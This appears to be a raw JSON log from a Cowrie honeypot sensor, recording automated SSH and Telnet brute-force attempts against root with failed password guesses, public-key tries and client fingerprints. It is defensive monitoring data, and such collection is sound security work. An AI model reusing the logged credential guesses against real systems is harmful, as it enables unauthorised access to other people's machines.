{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:92:ae:44:cf:96:be:07:39:13:0d:65:5b:5e:57:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5jPSw3bPKhd755AG1DyL8Hgf1xCQVMygYHSYSMXFplX8yoJEuYra3vAXrI3FaK0JrzF+kCbhhddtwLYU9UBPHtqOYfmPEtsBSsbaMmMuZ8VScJRWC9B/jdAbNJSgqW0hknKuTRh9c8VSA7Yjww/FicwrRQYPDRoMV8AniZXZnKUzetrn/fqGNTVgJhFQYKZC9LkBiR/dmax8X1JtIj1wO1KZI6I4FbIczDsFPmnkdP7N5ltMF1JQzTN5uvWQZExrOsmdGTzSXj3hyszsLrXbEMh51pYET/V4p7aZ0J+qPFYTf/UBVnPbgLkbjqDGsZL7MdQfn+mN7avIs6JG97b3r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.542183Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:d5:85:0e:13:86:f6:ae:e7:1f:6f:86:b1:3b:92:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqt7/qUAwgo3QV71BAMpqWCroEIjSqGRWGEhfxJ1u92C0tAnu/NTfDy4Rib5zVSRDpp5GbGVd3jiKIWQk2XxPUXHS+cRepvCwgOQjEIZxOn5Fgxl+VqOm8cKJ6LcRvRAnzGoaNvk3KDsxEcMvYF0eNkk0LG20XOWkgL29Bci6WFJXJ+Hcj1l+4yZBB9jqxgGGe9S6cm+0JVGpMwoCn/bwTp4R6GNsgQi5cyZ2i1X73dMjvo8DX8vxvIEE4l+XMFCCaKydEKRSjx+ib1EDe7tXGC4L0rRuHAyr5w8Qvu37o9yJ09VtLRJHvAJbx559isIUtdzx2Kw3+v039RrfWl8LgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:d5:85:0e:13:86:f6:ae:e7:1f:6f:86:b1:3b:92:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.635655Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:d5:85:0e:13:86:f6:ae:e7:1f:6f:86:b1:3b:92:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqt7/qUAwgo3QV71BAMpqWCroEIjSqGRWGEhfxJ1u92C0tAnu/NTfDy4Rib5zVSRDpp5GbGVd3jiKIWQk2XxPUXHS+cRepvCwgOQjEIZxOn5Fgxl+VqOm8cKJ6LcRvRAnzGoaNvk3KDsxEcMvYF0eNkk0LG20XOWkgL29Bci6WFJXJ+Hcj1l+4yZBB9jqxgGGe9S6cm+0JVGpMwoCn/bwTp4R6GNsgQi5cyZ2i1X73dMjvo8DX8vxvIEE4l+XMFCCaKydEKRSjx+ib1EDe7tXGC4L0rRuHAyr5w8Qvu37o9yJ09VtLRJHvAJbx559isIUtdzx2Kw3+v039RrfWl8LgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.639252Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:0b:7a:ec:7f:d4:5a:3a:65:51:c2:c1:3e:f8:8e:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEyLv/O7ZFlLUa60CUT+vPg6Hs6AUdl1rPG+RF5E2K1fGghRAAqZT9RxJSc6wRzT4yc+0ZEakmeKOlteUwIT5P7QtskRAOzPBt2ynVv5sOjMMxC91S5PDQmfKMp/ak4WhmZs7dUhKDMXhTH10nF9kCyOu9qklnXoA8fAQ6Nbd239Yc921O17NoZBwcR4DWopxf1wYlu5XaQcfUeVFfaVtp4bIgQusORkF9CVVgeKAyQOQXJ5XD/chY/larnq6ioQ0p61+hNxMWFrF9BC2UxAyTGC0bJxDoxLwv7i1UqiKuPebnMtANDw7JMBzQmh4tMKkCV79uw2KpkxFKfvhH7oBr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:0b:7a:ec:7f:d4:5a:3a:65:51:c2:c1:3e:f8:8e:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.733212Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:0b:7a:ec:7f:d4:5a:3a:65:51:c2:c1:3e:f8:8e:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEyLv/O7ZFlLUa60CUT+vPg6Hs6AUdl1rPG+RF5E2K1fGghRAAqZT9RxJSc6wRzT4yc+0ZEakmeKOlteUwIT5P7QtskRAOzPBt2ynVv5sOjMMxC91S5PDQmfKMp/ak4WhmZs7dUhKDMXhTH10nF9kCyOu9qklnXoA8fAQ6Nbd239Yc921O17NoZBwcR4DWopxf1wYlu5XaQcfUeVFfaVtp4bIgQusORkF9CVVgeKAyQOQXJ5XD/chY/larnq6ioQ0p61+hNxMWFrF9BC2UxAyTGC0bJxDoxLwv7i1UqiKuPebnMtANDw7JMBzQmh4tMKkCV79uw2KpkxFKfvhH7oBr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.737820Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:89:b2:ab:08:bd:50:d6:4a:8e:a0:b4:85:05:65:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcgJ2KP5NDl8WNvogIIl1O8qUsvaZVJWJZdAChORo7V98egvrSvqeMNKjmQUcQ+kzP94YbPowSpZ06/2zUCVn0FeuKPALGTdJ7gmF2dROQ4sY39OuHkiRknEU20YwLsmZ2z6WdIV6rb6XfvyLoEy7IHmYS5bygksejLnU7xGfpJxUqEmwWafUjgugu7annCPyzI6FHCgDSQdf/aKCtXX2kKV7WXoPnOhaCsRChNPV4GJce4d7VNFyOtB6TmHo6K3fT77IX7r2znQ7YNK544xpaYOimdT1ykSY2Nj8JIh7IJ9M4kBxI+6UUtPWhkJi1LTdcxaXMyraRdvFeoEbKYK9VP8l67tHVd0OMLOSIm+mrt4R28Dx3PizEpcISklCwtXVK1YVKNRMZw1CkAMFQnSNNQ3B9KS5P1Wapd2AWIwUbRuZM4Xs0Lxs2pIM9r5jT5FDz0wUavYftcmxBTZwdvBeBKIblSDWK4lj9M1091iTValNHxFwDBARVa4oabN3/Uzy3heB4S8kU7qu/KMqcsjMt+qJrcS4mJ10Ws62VU+MLoCxzj0DHauXb0Dx+D5JaIxBEBMJeLbN28wCiriQZvEpNf/FPA+FHWgdHngQKgwaogLFC22CraLZaVcs4SNg0n/S0j7m1KC9xCfrVyid8/o5Jkm+PL6ZNeUbOvC4I+Ov8rQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:89:b2:ab:08:bd:50:d6:4a:8e:a0:b4:85:05:65:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.832061Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:89:b2:ab:08:bd:50:d6:4a:8e:a0:b4:85:05:65:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcgJ2KP5NDl8WNvogIIl1O8qUsvaZVJWJZdAChORo7V98egvrSvqeMNKjmQUcQ+kzP94YbPowSpZ06/2zUCVn0FeuKPALGTdJ7gmF2dROQ4sY39OuHkiRknEU20YwLsmZ2z6WdIV6rb6XfvyLoEy7IHmYS5bygksejLnU7xGfpJxUqEmwWafUjgugu7annCPyzI6FHCgDSQdf/aKCtXX2kKV7WXoPnOhaCsRChNPV4GJce4d7VNFyOtB6TmHo6K3fT77IX7r2znQ7YNK544xpaYOimdT1ykSY2Nj8JIh7IJ9M4kBxI+6UUtPWhkJi1LTdcxaXMyraRdvFeoEbKYK9VP8l67tHVd0OMLOSIm+mrt4R28Dx3PizEpcISklCwtXVK1YVKNRMZw1CkAMFQnSNNQ3B9KS5P1Wapd2AWIwUbRuZM4Xs0Lxs2pIM9r5jT5FDz0wUavYftcmxBTZwdvBeBKIblSDWK4lj9M1091iTValNHxFwDBARVa4oabN3/Uzy3heB4S8kU7qu/KMqcsjMt+qJrcS4mJ10Ws62VU+MLoCxzj0DHauXb0Dx+D5JaIxBEBMJeLbN28wCiriQZvEpNf/FPA+FHWgdHngQKgwaogLFC22CraLZaVcs4SNg0n/S0j7m1KC9xCfrVyid8/o5Jkm+PL6ZNeUbOvC4I+Ov8rQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.835515Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:08.932375Z","src_ip":"91.98.151.17","session":"9c3a48b8b0c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38160,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3b5c8d25e64","protocol":"telnet","message":"New connection: 192.119.13.58:38160 (10.17.0.5:23) [session: c3b5c8d25e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:10.454293Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33960,"dst_ip":"10.17.0.5","dst_port":23,"session":"50ef54ddd8c5","protocol":"telnet","message":"New connection: 192.119.13.58:33960 (10.17.0.5:23) [session: 50ef54ddd8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:16.600108Z"}
{"eventid":"cowrie.session.closed","duration":30.573906421661377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:18.304974Z","src_ip":"192.119.13.58","session":"1b580be1104a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.826022148132324,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:38.875448Z","src_ip":"192.119.13.58","session":"0cdc0d7eb1d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48794,"dst_ip":"10.17.0.5","dst_port":23,"session":"c36dda44e62d","protocol":"telnet","message":"New connection: 192.119.13.58:48794 (10.17.0.5:23) [session: c36dda44e62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:41.916384Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":60576,"dst_ip":"159.203.135.109","dst_port":22,"session":"afc2501259ce","protocol":"ssh","message":"New connection: 87.251.79.125:60576 (159.203.135.109:22) [session: afc2501259ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:51.125077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:51.129732Z","src_ip":"87.251.79.125","session":"afc2501259ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:51.202536Z","src_ip":"87.251.79.125","session":"afc2501259ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z0102030405","message":"login attempt [root/z0102030405] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:51.419898Z","src_ip":"87.251.79.125","session":"afc2501259ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:52.495341Z","src_ip":"87.251.79.125","session":"afc2501259ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.252418994903564,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:53.706586Z","src_ip":"192.119.13.58","session":"c3b5c8d25e64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":53152,"dst_ip":"159.203.135.109","dst_port":22,"session":"fae4ccdabaaf","protocol":"ssh","message":"New connection: 103.27.238.114:53152 (159.203.135.109:22) [session: fae4ccdabaaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:56.823499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:56.828364Z","src_ip":"103.27.238.114","session":"fae4ccdabaaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:57.097768Z","src_ip":"103.27.238.114","session":"fae4ccdabaaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq123","message":"login attempt [root/qqq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:57.905346Z","src_ip":"103.27.238.114","session":"fae4ccdabaaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.091618061065674,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:58.691601Z","src_ip":"192.119.13.58","session":"50ef54ddd8c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:47:59.177065Z","src_ip":"103.27.238.114","session":"fae4ccdabaaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":50334,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fa37c8ae245","protocol":"ssh","message":"New connection: 77.94.47.83:50334 (10.17.0.5:22) [session: 6fa37c8ae245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:05.979586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:05.984659Z","src_ip":"77.94.47.83","session":"6fa37c8ae245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:06.109166Z","src_ip":"77.94.47.83","session":"6fa37c8ae245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:06.487139Z","src_ip":"77.94.47.83","session":"6fa37c8ae245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:07.612691Z","src_ip":"77.94.47.83","session":"6fa37c8ae245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.986732482910156,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:22.902959Z","src_ip":"192.119.13.58","session":"c36dda44e62d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"a339e4b1a0ca","protocol":"telnet","message":"New connection: 192.119.13.58:58548 (10.17.0.5:23) [session: a339e4b1a0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:28.780435Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":38428,"dst_ip":"10.17.0.5","dst_port":22,"session":"02a2e19f3b85","protocol":"ssh","message":"New connection: 147.45.211.215:38428 (10.17.0.5:22) [session: 02a2e19f3b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:35.762628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:35.767839Z","src_ip":"147.45.211.215","session":"02a2e19f3b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:35.943483Z","src_ip":"147.45.211.215","session":"02a2e19f3b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"computer","message":"login attempt [root/computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:36.457803Z","src_ip":"147.45.211.215","session":"02a2e19f3b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:37.632908Z","src_ip":"147.45.211.215","session":"02a2e19f3b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43578,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfdd178c2fb2","protocol":"telnet","message":"New connection: 192.119.13.58:43578 (10.17.0.5:23) [session: dfdd178c2fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:48:54.121352Z"}
{"eventid":"cowrie.session.closed","duration":50.51271295547485,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:19.292965Z","src_ip":"192.119.13.58","session":"a339e4b1a0ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18925476074219,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:30.310479Z","src_ip":"192.119.13.58","session":"dfdd178c2fb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39436,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a8eec777c7d","protocol":"telnet","message":"New connection: 192.119.13.58:39436 (10.17.0.5:23) [session: 7a8eec777c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:30.374197Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52570,"dst_ip":"10.17.0.5","dst_port":23,"session":"87027797263e","protocol":"telnet","message":"New connection: 192.119.13.58:52570 (10.17.0.5:23) [session: 87027797263e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:33.886691Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":38276,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1d434138e02","protocol":"ssh","message":"New connection: 103.195.236.96:38276 (159.203.135.109:22) [session: a1d434138e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:49:42.414628Z"}
